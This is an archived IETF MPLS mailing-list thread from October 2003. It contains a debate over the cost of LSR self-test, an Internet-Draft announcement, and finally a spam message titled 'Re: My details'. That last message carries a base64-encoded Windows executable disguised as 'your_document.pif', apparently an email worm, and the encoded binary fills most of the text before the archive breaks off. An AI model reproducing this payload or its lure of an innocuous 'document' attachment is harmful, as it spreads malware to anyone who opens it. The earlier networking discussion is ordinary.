Cc: "'Loa Andersson'" <loa@pi.se>, "'mpls wg'" <mpls@UU.NET>,
        "'Alex Zinin'"
	 <zinin@PSG.COM>
Subject: RE: LSR Self test in Charter 
Date: Fri, 3 Oct 2003 15:37:08 -0400 
X-Mailer: Internet Mail Service (5.5.2653.19)
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Tom:

You wrote...

> wouldn't 
> you agree that this functionallity is indeed a useful
> means by which to address some of the OAM requirements?

That is what I'm trying to establish.

IMHO LSR self test is expensive which means it really needs to justify its
existence. The LSR testing itself needs to generate a message, insert it
into a single hop trunk upstream where it is PHP'd from the test trunk into
the label/interface of interest, it is forwarded across the originating LSR
and stops in the LSR immediately downstream where it is handed to the
control plane, processed, and a reply sent back to the originating LSR. So
testing an ILM entry on each LSR generates two control plane interrupts as
well as associated message handling. If a 10 hop LSP is actively being
checked by all the LSRs in the path, it will take about 8 ping request/TTL
timeout/replies to verify the LSP and that assumes the ingress is not
pinging as well. Yes it is reuse of what you already have and IMO that is
the only real virtue.

I've been looking to do similar in a much more lightweight style with
Y.17fec-cv. Inserted into each ingress point (and verified at the egress
instead of immediately downstream) it would generate half of the transaction
load for comparable coverage (and that assumes the message processing cost
is the same which is hardly the case, fec-cv being quite a bit simpler, and
should not have to interrupt the control plane in any good implementation).
ECMP points being treated as LSP ingresses in my model so that we also dodge
the combinatorial aspect of ECMP touted as the rationale for this approach.
The probe rate for comparable coverage scales linearly in both cases.

So I guess that being said, if we have a charter that now includes
"mechanisms", I'll point folks to my old draft

http://www.ietf.org/internet-drafts/draft-allan-fec-cv-overview-00.txt

as an alternative approach to be considered in this space. The current draft
Y.17fec-cv is very close.

cheers
Dave

> -----Original Message-----
> From: Thomas D. Nadeau [mailto:tnadeau@cisco.com] 
> Sent: Friday, October 03, 2003 2:54 PM
> To: Allan, David [CAR:NS00:EXCH]; 'George Swallow'
> Cc: 'Loa Andersson'; 'mpls wg'; 'Alex Zinin'
> Subject: RE: LSR Self test in Charter 
> 
> 
> 
> 	Dave,
> 
> 	It seems that you have technical issues that 
> need to be sorted out, but aside from that, wouldn't 
> you agree that this functionallity is indeed a useful
> means by which to address some of the OAM requirements?
> 
> 	--Tom
> 
> 
> 
> >-----Original Message-----
> >From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf
> >Of David Allan
> >Sent: Thursday, October 02, 2003 4:30 PM
> >To: 'George Swallow'
> >Cc: 'Loa Andersson'; mpls wg; Alex Zinin
> >Subject: RE: LSR Self test in Charter 
> >
> >
> >OK, consider me late to the party. If there is resolution to
> >the technical
> >question I raised, I'll abstain, otherwise consider me a naysayer.
> >
> >Dave
> >
> >> -----Original Message-----
> >> From: George Swallow [mailto:swallow@cisco.com]
> >> Sent: Thursday, October 02, 2003 4:18 PM
> >> To: Allan, David [CAR:NS00:EXCH]
> >> Cc: 'Loa Andersson'; mpls wg; George Swallow; Alex Zinin; 
> >> swallow@cisco.com
> >> Subject: Re: LSR Self test in Charter 
> >> 
> >> 
> >> Dave -
> >> 
> >> There was strong interest expressed in the room in Vienna.
> >> Due to that, Loa only asked for nay sayers to speak up.  No 
> >> one objected.  
> >> 
> >> I've attached the original message.
> >> 
> >> ...George
> >> 
> >> ==============================================================
> >> ==========
> >> George Swallow             Cisco Systems                  
> >> (978) 936-1398
> >>                            1414 Massachusetts Avenue
> >>                            Boxborough, MA 01719
> >> 
> >> Date: Thu, 17 Jul 2003 11:14:46 +0200
> >> From: Loa Andersson <loa@pi.se>
> >> User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0)
> >> Gecko/20020605
> >> X-Accept-Language: en-us, en
> >> MIME-Version: 1.0
> >> To: MPLS WG <mpls@UU.NET>, George Swallow <swallow@cisco.com>,
> >>         Alex Zinin
> >>  <zinin@psg.com>
> >> Subject: draft-swallow-mpls-lsr-self-test-01.txt, to wg draft
> >> Content-Type: text/plain; charset=us-ascii; format=flowed
> >> Content-Transfer-Encoding: 7bit
> >> 
> >> Working Group,
> >> 
> >> 
> >> at the Vienna MPLS WG meeting the
> >> 
> >>      Label Switched Router Self-Test
> >>      <draft-swallow-mpls-lsr-self-test-01.txt>
> >> 
> >> was discussed. There were support for making it a wg 
> draft. We will 
> >> go ahead and do so shortly, this is a chance you who were 
> not in the 
> >> meeting (or did not speak up) to comment on this.
> >> 
> >> 
> >> --
> >> /Loa
> >> 
> >> mobile + 46 739 81 21 64
> >> email: loa@pi.se
> >> 
> >> 
> >
> 
> 


From owner-mpls@UU.NET  Fri Oct  3 16:54:13 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28438
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 16:54:13 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivz10262
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 20:54:19 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpivz10212;
	Fri, 3 Oct 2003 20:54:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpivy19048
	for mpls-outgoing; Fri, 3 Oct 2003 20:38:02 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpivy19043
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 20:38:00 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpivy05428
	for <mpls@uu.net>; Fri, 3 Oct 2003 20:36:27 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivy22747
	for <mpls@uu.net>; Fri, 3 Oct 2003 20:36:26 GMT
Received: from sj-iport-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpivy22737
	for <mpls@uu.net>; Fri, 3 Oct 2003 20:36:26 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h93KaKXg006222
	for <mpls@uu.net>; Fri, 3 Oct 2003 13:36:21 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW80901;
	Fri, 3 Oct 2003 16:36:21 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h93KaLr01391 for mpls@uu.net; Fri, 3 Oct 2003 16:36:21 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpivy18768
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 20:35:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpivy03645
	for <mpls@uu.net>; Fri, 3 Oct 2003 20:34:09 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivy21991
	for <mpls@uu.net>; Fri, 3 Oct 2003 20:34:08 GMT
Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQpivy21936
	for <mpls@uu.net>; Fri, 3 Oct 2003 20:34:04 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26108;
	Fri, 3 Oct 2003 16:33:54 -0400 (EDT)
Message-Id: <200310032033.QAA26108@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-lsr-self-test-00.txt
Date: Fri, 03 Oct 2003 16:33:53 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Label Switching Router Self-Test
	Author(s)	: G. Swallow, K. Kompella, D. Tappan
	Filename	: draft-ietf-mpls-lsr-self-test-00.txt
	Pages		: 13
	Date		: 2003-10-3
	
This document defines a means of self test for a Label-Switching
Router (LSR) to verify that its dataplane is functioning for
certain key Multi-Protocol Label Switching (MPLS) applications
including unicast forwarding based on LDP [LDP] and traffic
engineering tunnels based on [RSVP-TE].  A new Loopback FEC type
is defined to allow an upstream neighbor to assist in the testing
at very low cost.  MPLS Echo Request and MPLS Echo Reply messages
[LSP-Ping] messages are extended to do the actually probing.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-lsr-self-test-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-lsr-self-test-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-lsr-self-test-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-3164340.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-lsr-self-test-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-lsr-self-test-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-3164340.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Fri Oct  3 20:35:28 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA05479
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 20:35:27 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpiwo18499
	for <mpls-archive@lists.ietf.org>; Sat, 4 Oct 2003 00:35:34 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpiwo18447;
	Sat, 4 Oct 2003 00:35:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpiwm25414
	for mpls-outgoing; Sat, 4 Oct 2003 00:13:12 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpiwm25387
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 4 Oct 2003 00:13:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpiwm02439
	for <mpls@uu.net>; Sat, 4 Oct 2003 00:09:59 GMT
From: ben@layer8.net
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphmh22614
	for <mpls@uu.net>; Wed, 24 Sep 2003 04:46:27 GMT
Message-Id: <QQphmh22614.200309240446@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Re: My details
Date: Fri, 1 Jan 1999 0:25:33 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_0017033E"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_0017033E
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_0017033E
Content-Type: application/octet-stream;
	name="your_document.pif"
Content-Disposition: attachment;
	filename="your_document.pif"
Content-Transfer-Encoding: base64

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
